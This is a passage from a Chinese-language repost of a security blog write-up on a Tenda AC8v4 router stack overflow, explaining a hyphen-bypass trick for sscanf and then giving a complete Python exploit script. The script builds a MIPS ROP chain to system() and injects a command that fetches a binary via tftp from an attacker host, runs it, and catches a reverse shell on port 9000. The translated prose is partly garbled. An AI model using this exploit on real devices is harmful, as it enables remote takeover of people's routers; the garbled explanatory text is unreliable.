sub_4A79EC你可能还记得,结果的逻辑stack-based overflow是由于它扫描s->(char *)websGetVar(a1, “time”, &unk_4F09E0);进入v6, v8, v10, v12, v14, v16而不受边界限制。这允许我们构造一个有效载荷:time=retr0:xxxxx<overflowing_character>xxxxx导致overflow。回想一下我们sccanf在 中是如何描述它的工作原理的regex,

这里sscanf通过正则表达式过滤输入%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s;将数据提取到v6或v9或v10或…作为data1:data2:data2pr data1-data2-data3;这些变量位于堆栈上;更加危险

sscanf:使用或作为分隔符提取我们的数据-;包括tftp -g -r rs的连字符-g!这将导致sscanf截断原始输出为v6, v8, v10,因此只有直到 的前缀-将被保留并执行!导致 无法完成()。命令执行失败。那么我们如何解决连字符问题?

这里我使用了一个非常有趣的解决方案:由于bash允许保存命令的输出并切片,类似于 python 的[::]工作方式,我们可以尝试-从命令输出中获取并将切片保存-为,并在我们的有效负载包含它时用保存的字符environmental variable替换!例如,如果您在中运行命令,它将输出以下内容:-environmental variabletftpbusybox

BusyBox v1.19.2 (2022-12-20 11:55:28 CST) multi-call binary.
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
-l FILE Local FILE -r FILE Remote FILE -g Get file -p Put file -b SIZE Transfer blocks of SIZE

现在,如果我们通过 保存输出,然后计算的output=$(tftp 2>&1)位置(即),然后将字符保存到另一个变量中,例如; 现在,每当我们需要使用字符 时,我们只需在命令前添加前缀并替换所有不会触发 的截断,允许我们使用特定的参数,使我们能够通过!!!获取和执行文件下载。-l-47spec-output=$(tftp 2>&1);spec=${output:47:1};-sscanf$(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

现在我们拥有了路由器:)

exploit.py

#!/usr/bin/env python3# -*- coding: utf-8 -*-
#File: exploit.py#Author: Patrick Peng (retr0reg)


import requestsimport argparseimport threadingfrom pwn import log, context, flat, listenfrom typing import NamedTuple
session = requests.Session()session.trust_env = False
def ap(): parser = argparse.ArgumentParser() parser.add_argument("host",type=str, help="exploiting ip") parser.add_argument("port",type=int, help="exploiting port") parser.add_argument( "attacker_host", help="attacker host" ) args = parser.parse_args() return ['',f'tftp -g -r rs {args.attacker_host} && chmod +x rs && ./rs {args.attacker_host} 9000'], args.host, args.port

class RopCmd(NamedTuple): second: str

def pwn( ropcmd: RopCmd, host: str = '192.168.31.106', port: int = 80, ):
listener = listen(9000) context(arch = 'mips',endian = 'little',os = 'linux')
def sink( payload ): url = f"http://{host}:{port}/goform/SetSysTimeCfg" _payload = b'' _payload = b'retr0reg' + b":" + payload data = { b"timeType":b"manual", b"time":_payload }
def send_request(): try: requests.post(url=url, data=data) except Exception as e: print(f"Request failed: {e}")
thread = threading.Thread(target=send_request) thread.start()
def _rop(ropcmd: RopCmd):
# rop-chain: # lw $s4 0x48; jr 0x5c # move $t9,$s4; jr 0x34($sp) # addiu $a0,$sp,0x28+var_C | jr 0x24($sp) #
# 77f59000-77fe5000 r-xp 00000000 08:01 788000 libc_base = 0x77f59000 _system = 0x004E630
t9_target = 0x77fa7630 ret_offset = 0x7b # -> b'bgaa' sp_offset = 0x7f # --> b'bhaa'
sp2 = 0x60 # LOAD:0007EB7C sp3 = 0x38 # LOAD:0001B038
print('n')
log.success("Exploit started!") log.info(f"retaddr offset: {hex(ret_offset)}") log.info(f"$sp offset: {hex(sp_offset)}") log.info(f"libc_base -> {hex(libc_base)}")
lw_s4_0x48_JR_5Csp = 0x0007E8C8 # lw $s4,0x38+var_s10($sp) | jr 0x5C($sp) # LOAD:0007E8CC move $v0, $s0 # LOAD:0007E8D0 lw $fp, 0x38+var_s20($sp) # LOAD:0007E8D4 lw $s7, 0x38+var_s1C($sp) # LOAD:0007E8D8 lw $s6, 0x38+var_s18($sp) # LOAD:0007E8DC lw $s5, 0x38+var_s14($sp) # LOAD:0007E8E0 lw $s4, 0x38+var_s10($sp) # LOAD:0007E8E4 lw $s3, 0x38+var_sC($sp) # LOAD:0007E8E8 lw $s2, 0x38+var_s8($sp) # LOAD:0007E8EC lw $s1, 0x38+var_s4($sp) # LOAD:0007E8F0 lw $s0, 0x38+var_s0($sp) # LOAD:0007E8F4 jr $ra # LOAD:0007E8F8 addiu $sp, 0x60
t9_EQ_s4_JR_1C_p_18 = 0x0001B014 # move $t9,$s4 | jr 0x1C+0x18($sp) # LOAD:0001B018 lw $ra, 0x1C+var_s18($sp) # LOAD:0001B01C lw $s5, 0x1C+var_s14($sp) # LOAD:0001B020 lw $s4, 0x1C+var_s10($sp) # LOAD:0001B024 lw $s3, 0x1C+var_sC($sp) # LOAD:0001B028 lw $s2, 0x1C+var_s8($sp) # LOAD:0001B02C lw $s1, 0x1C+var_s4($sp) # LOAD:0001B030 lw $s0, 0x1C+var_s0($sp) # LOAD:0001B034 jr $ra # LOAD:0001B038 addiu $sp, 0x38
a0_EQ_sp24_c_JR_24sp = 0x0004D144 # addiu $a0,$sp,0x24+var_C | jr 0x24($sp) # LOAD:0004D144 addiu $a0, $sp, 0x24+var_C # LOAD:0004D148 lw $ra, 0x24+var_s0($sp) # LOAD:0004D14C nop # LOAD:0004D150 jr $ra

a0_EQ_sp28_c_JR_24sp = 0x00058920 # addiu $a0,$sp,0x28+var_C | jr 0x24($sp) # LOAD:00058920 addiu $a0, $sp, 0x28+var_C # LOAD:00058924 lw $v1, 0x28+var_C($sp) # LOAD:00058928 lw $ra, 0x28+var_4($sp) # LOAD:0005892C sw $v1, 0($s0) # LOAD:00058930 lw $s0, 0x28+var_8($sp) # LOAD:00058934 jr $ra
print('') log.success("Ropping....") log.info(f"gadget lw_s4_0x48_JR_5Csp -> {hex(libc_base + lw_s4_0x48_JR_5Csp)}") log.info(f"gadget t9_EQ_s4_JR_1C_p_18 -> {hex(libc_base + t9_EQ_s4_JR_1C_p_18)}") log.info(f"gadget a0_EQ_sp24_c_JR_24sp -> {hex(libc_base + a0_EQ_sp24_c_JR_24sp)}") log.info(f"_system -> {hex(libc_base + _system)}")
c1 = "" c2 = ""
c3 = "output=$(tftp 2>&1);spec=${output:47:1};" + ropcmd[1].replace('-','$(echo $spec)')
log.info(f"Inject $a0: {c3}")
_payload = { ret_offset: libc_base + lw_s4_0x48_JR_5Csp, # flow1 (sp_offset + 0x48): t9_target, (sp_offset + 0x38 + 0x18): f'{c2}'.encode(), # $s6, 0x38+var_s18($sp) (sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18, # flow2 (sp_offset + sp2 + 0x1C + 0x10): f'{c1}'.encode(), # flow2 $s4-$s5 (caller), this is set via previous control-ed registers (sp_offset + sp2 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp, (sp_offset + sp2 + sp3 + 0x24): libc_base + _system, # flow3 (sp_offset + sp2 + sp3 + 0x24 + 0xC - 0x7): f'$({c3});'.encode() }
print('') log.success("Stack looks like:") for key, value in _payload.items(): try: log.info(f"offset: {hex(key)} : {hex(value)}") except TypeError: pass
# $sp growth -> +0x60 -> 0x38 # # | retaddr | lw_s4_0x48_JR_5Csp | i. (gadget address) # | (current sp) | | ($spsz1=0d127) # | $sp1+0x48 | t9_target | i -> $s4 # | $sp2+0x5c | t9_EQ_s4_JR_1C_p_18 | ii <- $t9 ($spsz2+=0x60) # | $sp1+$sp2+$sp3-0xC | command | <- $a0 # | $sp1+$sp2+0x34 | a0_EQ_sp24_c_JR_24sp | iii. ($spsz3+=38) # | $sp1+$sp2+$sp3+0x24 | _system | <- jmp
return flat(_payload)
payload = _rop(ropcmd) sink(payload=payload)
print('') listener.wait_for_connection() log.critical("Recieved shell!") listener.interactive()
if __name__ == "__main__": ropcmd, host, port = ap() log.info("0reg.dev - retr0reg") log.info("Tenda AC8v4 stack-based overflow") print('') print( """ __________ __ _______ ______ _____/ |________ _ _______ ____ ____ | _// __ ___ __ / /_ _ __ _/ __ / ___ | | ___/| | | | / _/ | / ___// /_/ > |____|_ /___ >__| |__| _____ /__| ___ >___ / / / / /_____/ """ ) log.info("RCE via Mipsel ROP") pwn(ropcmd, host, port)


ROPing Routers from scratch: Step-by-step Tenda Ac8v4 Mips 0day Flow-control ROP -> RCEhttps://0reg.dev/blog/tenda-ac8-rop



感谢您抽出

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

.

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

.

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

来阅读本文

从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE

版权声明:admin 发表于 2024年6月23日 下午12:03。
转载请注明:从头开始 ROPing 路由器:Tenda Ac8v4 Mips 0day 流量控制 ROP -> RCE | CTF导航

相关文章